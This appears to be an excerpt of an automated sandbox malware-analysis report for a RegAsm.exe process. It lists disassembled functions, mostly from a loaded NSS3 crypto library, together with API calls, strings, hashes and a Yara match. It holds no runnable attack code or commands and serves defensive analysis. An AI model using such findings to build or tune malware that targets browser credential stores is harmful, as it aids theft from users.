Part of subcall function 6C4CFD80: free.MOZGLUE(00000000,?,?), ref: 6C4CFDD1

TlsGetValue.KERNEL32 ref: 6C472E4E
EnterCriticalSection.KERNEL32(?), ref: 6C472E5E
PL_HashTableLookup.NSS3(?), ref: 6C472E71
PL_HashTableRemove.NSS3(?), ref: 6C472E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C472E96
PR_Unlock.NSS3 ref: 6C472EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C472EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C472EC5

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: e12f2dda7f69dfb3f71a7c5dff336230596f205b07167bc2d84f1381e9531dc1
Instruction ID: 9169e12b6f706f492796311e7c3b0f29afafca67da032e6de53cfc78c40d0d8b
Opcode Fuzzy Hash: e12f2dda7f69dfb3f71a7c5dff336230596f205b07167bc2d84f1381e9531dc1
Instruction Fuzzy Hash: 5521F576A44201E7EF219B25EC09EDA3A749B5235EF050034ED1886B11FB32EA59C7E5

Function 6C4D4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C4D536F,00000022,?,?,00000000,?), ref: 6C4D4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C4D4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C4D4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C4D4FAE
free.MOZGLUE(?), ref: 6C4D4FC8

Strings

%s=%c%s%c, xrefs: 6C4D4FA9
oSMl", xrefs: 6C4D4DFB, 6C4D4EF4, 6C4D4EC5
%s=%s, xrefs: 6C4D4F89

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s$oSMl"
API String ID: 2709355791-1484050375
Opcode ID: c0ad453cd94a9f9862dbaa5edeb0258d751fa45ab1d29b95975039002bf5313f
Instruction ID: 3f7a00d608988b5663deb7cce9859a559b37e72c5f25601889a3d6d9d7e3ae3c
Opcode Fuzzy Hash: c0ad453cd94a9f9862dbaa5edeb0258d751fa45ab1d29b95975039002bf5313f
Instruction Fuzzy Hash: 85515C31A041469BEF01DB69C8B0FFF7BF19F4638AF1A5129E894A7B40D335B8058791

Function 6C4AACC0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6C4AACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C4AAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4AAD23

Part of subcall function 6C58D930: PL_strncpyz.NSS3(?,?,?), ref: 6C58D963

PR_LogPrint.NSS3(?,00000000), ref: 6C4AAD39

Strings

C_MessageDecryptFinal, xrefs: 6C4AACE1
(CK_INVALID_HANDLE), xrefs: 6C4AAD1C
nXl, xrefs: 6C4AAD51, 6C4AAD7B
hSession = 0x%x, xrefs: 6C4AACFE, 6C4AAD0E

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal$nXl
API String ID: 332880674-415061219
Opcode ID: 7c4eb7decf19758ab48d6f68755ed8bf795545c302c8e974a47c0063e720af7c
Instruction ID: 40afc2026b078491626d3d08daa1db62b6a1f5ab0ebfc832db3f7d27dbdee38d
Opcode Fuzzy Hash: 7c4eb7decf19758ab48d6f68755ed8bf795545c302c8e974a47c0063e720af7c
Instruction Fuzzy Hash: 49212F70601254EFDB10EB94DC88F6A7376EFC630AF45446AE40997B15DB34AC0ACBDA

Function 6C4AA550 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptFinal), ref: 6C4AA576
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C4AA5A4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C4AA5B3

Part of subcall function 6C58D930: PL_strncpyz.NSS3(?,?,?), ref: 6C58D963

PR_LogPrint.NSS3(?,00000000), ref: 6C4AA5C9

Strings

C_MessageEncryptFinal, xrefs: 6C4AA571
(CK_INVALID_HANDLE), xrefs: 6C4AA5AC
nXl, xrefs: 6C4AA5E1, 6C4AA60B
hSession = 0x%x, xrefs: 6C4AA58E, 6C4AA59E

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptFinal$nXl
API String ID: 332880674-847816661
Opcode ID: b54696118bc1369acc865b239e882b2c4c0956a4e60f29a12684911563245ae7
Instruction ID: b620b29001e518e4d49190f766b5e1ec8b564bd802f55b695a15cb1dd1d9014f
Opcode Fuzzy Hash: b54696118bc1369acc865b239e882b2c4c0956a4e60f29a12684911563245ae7
Instruction Fuzzy Hash: 9521F870601254EFD710EB94DC88FAA33B5EF86319F05406AE80997B15DB34AD4ACE9E

Function 004187C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(014FAB88,00000000,00000000,00000000), ref: 004187F5
GetDeviceCaps.GDI32(?,00000008), ref: 00418804
GetDeviceCaps.GDI32(?,0000000A), ref: 00418813
ReleaseDC.USER32(00000000,?), ref: 00418822
GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E28,00000000,?), ref: 00418836
wsprintfA.USER32 ref: 00418850

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

%dx%d, xrefs: 00418847

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CapsDeviceHeap$AllocCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 3940144428-2206825331
Opcode ID: 262a31a7c7e64c3cbe5d33e2bc886069313bc1d92689518f925e1d4ed3839940
Instruction ID: e741bf7ca2fc1d65a497d39fe48fe123552d5275a0b8a8093fc8d321cf3eb0b5
Opcode Fuzzy Hash: 262a31a7c7e64c3cbe5d33e2bc886069313bc1d92689518f925e1d4ed3839940
Instruction Fuzzy Hash: 48217FB5A80208BFDB00DFD4DD49FAEBBB9FB49B00F104119F605A7280C779A900CBA5

Function 6C4BCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C4BCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C4BCE16
PR_SetError.NSS3(00000000,00000000), ref: 6C4BD079

Part of subcall function 6C51C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C51C2BF

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 8f982f5ba810317abeac41c5032d8b7ec6957f892504efb866a347ddc2f3d1eb
Instruction ID: 1449564201a83ca7424df0d8c5bcc67a878503defd01dc3019da259cf4db8f6d
Opcode Fuzzy Hash: 8f982f5ba810317abeac41c5032d8b7ec6957f892504efb866a347ddc2f3d1eb
Instruction Fuzzy Hash: B7C15CB5A002199BDB20DF24CC84FDAB7B4AB48318F1541A8E948A7741E775EE95CFE0

Function 6C4665D0 Relevance: 13.8, APIs: 4, Strings: 5, Instructions: 261COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C46670B
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6C462B2C), ref: 6C46675E
EnterCriticalSection.KERNEL32(?), ref: 6C46678E
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,6C462B2C), ref: 6C4667E1

Strings

winUnmapfile1, xrefs: 6C466964
winUnmapfile2, xrefs: 6C46698B
@Xl, xrefs: 6C46662B, 6C466809
PXl, xrefs: 6C4668AA, 6C466944, 6C46696B
winClose, xrefs: 6C4668C5

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: @Xl$PXl$winClose$winUnmapfile1$winUnmapfile2
API String ID: 3168844106-928841137
Opcode ID: c7be15e8a1577fc8d52de92d9aad297bf95e0470363549ab246deabfb9b60a18
Instruction ID: ef0309ef65d1c1f72266cbf1db2410486b07933acbf2f830d76b6c6295e7eacf
Opcode Fuzzy Hash: c7be15e8a1577fc8d52de92d9aad297bf95e0470363549ab246deabfb9b60a18
Instruction Fuzzy Hash: E2A18E35B01610CBDF08DF66EC89EAA3774BB46316B06402CE806DBB48DB34B945CB99

Function 6C472C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(FD6DCEC7), ref: 6C472C5D

Part of subcall function 6C4D0D30: calloc.MOZGLUE ref: 6C4D0D50
Part of subcall function 6C4D0D30: TlsGetValue.KERNEL32 ref: 6C4D0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C472C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C472CE0

Part of subcall function 6C472E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C472CDA,?,00000000), ref: 6C472E1E
Part of subcall function 6C472E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C472E33
Part of subcall function 6C472E00: TlsGetValue.KERNEL32 ref: 6C472E4E
Part of subcall function 6C472E00: EnterCriticalSection.KERNEL32(?), ref: 6C472E5E
Part of subcall function 6C472E00: PL_HashTableLookup.NSS3(?), ref: 6C472E71
Part of subcall function 6C472E00: PL_HashTableRemove.NSS3(?), ref: 6C472E84
Part of subcall function 6C472E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C472E96
Part of subcall function 6C472E00: PR_Unlock.NSS3 ref: 6C472EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C472D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C472D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C472D3F
free.MOZGLUE(00000000), ref: 6C472D73
CERT_DestroyCertificate.NSS3(?), ref: 6C472DB8
free.MOZGLUE ref: 6C472DC8

Part of subcall function 6C473E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C473EC2
Part of subcall function 6C473E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C473ED6
Part of subcall function 6C473E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C473EEE
Part of subcall function 6C473E60: PR_CallOnce.NSS3(6C5D2AA4,6C4D12D0), ref: 6C473F02
Part of subcall function 6C473E60: PL_FreeArenaPool.NSS3 ref: 6C473F14
Part of subcall function 6C473E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C473F27

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: af7c2316c3ee55d2d1559e91796230fb5a9e4525cac7cfe1339b6c8d0a67fed8
Instruction ID: 3522171bff8407541051e41f7df236291e4f320a610454ec27a29fc41b0218e5
Opcode Fuzzy Hash: af7c2316c3ee55d2d1559e91796230fb5a9e4525cac7cfe1339b6c8d0a67fed8
Instruction Fuzzy Hash: A751CD71A04212DFEB30DE29DD88F9B77E5EF94209F15042CE85997710EB31E8158BE2

Function 6C48E400 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6C493F23,?), ref: 6C48E432
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6C493F23,?), ref: 6C48E44F

Part of subcall function 6C492C40: TlsGetValue.KERNEL32(#?Il,?,6C48E477,?,?,?,00000001,00000000,?,?,6C493F23,?), ref: 6C492C62
Part of subcall function 6C492C40: EnterCriticalSection.KERNEL32(0000001C,?,6C48E477,?,?,?,00000001,00000000,?,?,6C493F23,?), ref: 6C492C76
Part of subcall function 6C492C40: PL_HashTableLookup.NSS3(00000000,?,?,6C48E477,?,?,?,00000001,00000000,?,?,6C493F23,?), ref: 6C492C86
Part of subcall function 6C492C40: PR_Unlock.NSS3(00000000,?,?,?,?,6C48E477,?,?,?,00000001,00000000,?,?,6C493F23,?), ref: 6C492C93

TlsGetValue.KERNEL32(?,00000001,00000000,?,?,6C493F23,?), ref: 6C48E494
EnterCriticalSection.KERNEL32(?,?,00000001,00000000,?,?,6C493F23,?), ref: 6C48E4AD
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6C493F23,?), ref: 6C48E4D6
PR_Unlock.NSS3(?,?,?,00000001,00000000,?,?,6C493F23,?), ref: 6C48E52F

Strings

#?Il, xrefs: 6C48E409

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID: #?Il
API String ID: 3106257965-3645613150
Opcode ID: 71b49b4f7bcd418719486d196a7f7fa3214ec256a91ea2f66b015af7bf9c9144
Instruction ID: e09d58b73fac083547f89850cf47cadbf67a08c7242d2a6fb625e80f512904fe
Opcode Fuzzy Hash: 71b49b4f7bcd418719486d196a7f7fa3214ec256a91ea2f66b015af7bf9c9144
Instruction Fuzzy Hash: 44413BB8A06A15CFCB00EFA8D5C4D5ABBF0FF05314B464969D8959BB11E730E885CBD2

Function 6C488CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C49124D,00000001), ref: 6C488D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C49124D,00000001), ref: 6C488D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C49124D,00000001), ref: 6C488D73
PR_Unlock.NSS3(?,?,?,?,?,6C49124D,00000001), ref: 6C488D8C

Part of subcall function 6C51DD70: TlsGetValue.KERNEL32 ref: 6C51DD8C
Part of subcall function 6C51DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C51DDB4

PR_Unlock.NSS3(?,?,?,?,?,6C49124D,00000001), ref: 6C488DBA

Strings

KRAM, xrefs: 6C488CF9
KRAM, xrefs: 6C488D3E

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 6695d7dbdec31c978f98760feba9799d9a3f20475f8ca6c43043d5d48a1794de
Instruction ID: 0815e0f8eebf7ee43174b1a6fca95840e92f85d1ed8964273777b8df50d1f5e1
Opcode Fuzzy Hash: 6695d7dbdec31c978f98760feba9799d9a3f20475f8ca6c43043d5d48a1794de
Instruction Fuzzy Hash: 4321A1B5A05601CFDB40EF38C884D5AB7F0FF95319F15896AD8998B701D730E882CB91

Function 6C580ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C580EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C580EFA

Part of subcall function 6C46AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C46AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C580F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C580F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C580F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C580F2B

Strings

Aborting, xrefs: 6C580EB3
Assertion failure: %s, at %s:%d, xrefs: 6C580ED9, 6C580EE5, 6C580F06, 6C580F0B

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 234b9fdb32172bf0b7010a056cd347d8a294a0079b3cec7361a0cccaa4dd6fb0
Instruction ID: 6153c19723dd482b28a669b5c0c3acdf54a3cfcc9ea85e28885e5c487b7594fe
Opcode Fuzzy Hash: 234b9fdb32172bf0b7010a056cd347d8a294a0079b3cec7361a0cccaa4dd6fb0
Instruction Fuzzy Hash: 0701C0B6901154ABDF01AF64DC85CAB3F3CEF86368B024069FD0997B01D731EA5086A2

Function 6C544D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C544DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C544DE0

Strings

invalid, xrefs: 6C544DB8
%s at line %d of [%.10s], xrefs: 6C544DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C544DCB
misuse, xrefs: 6C544DD5
API call with %s database connection pointer, xrefs: 6C544DBD

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 040788ad503a677ac242e584c39d246b476a7af69c8f09b7fb688c6b838085e8
Instruction ID: 741ef227abc521eb50b642854e55f0976db0fb923224e2c3587710e050772fc1
Opcode Fuzzy Hash: 040788ad503a677ac242e584c39d246b476a7af69c8f09b7fb688c6b838085e8
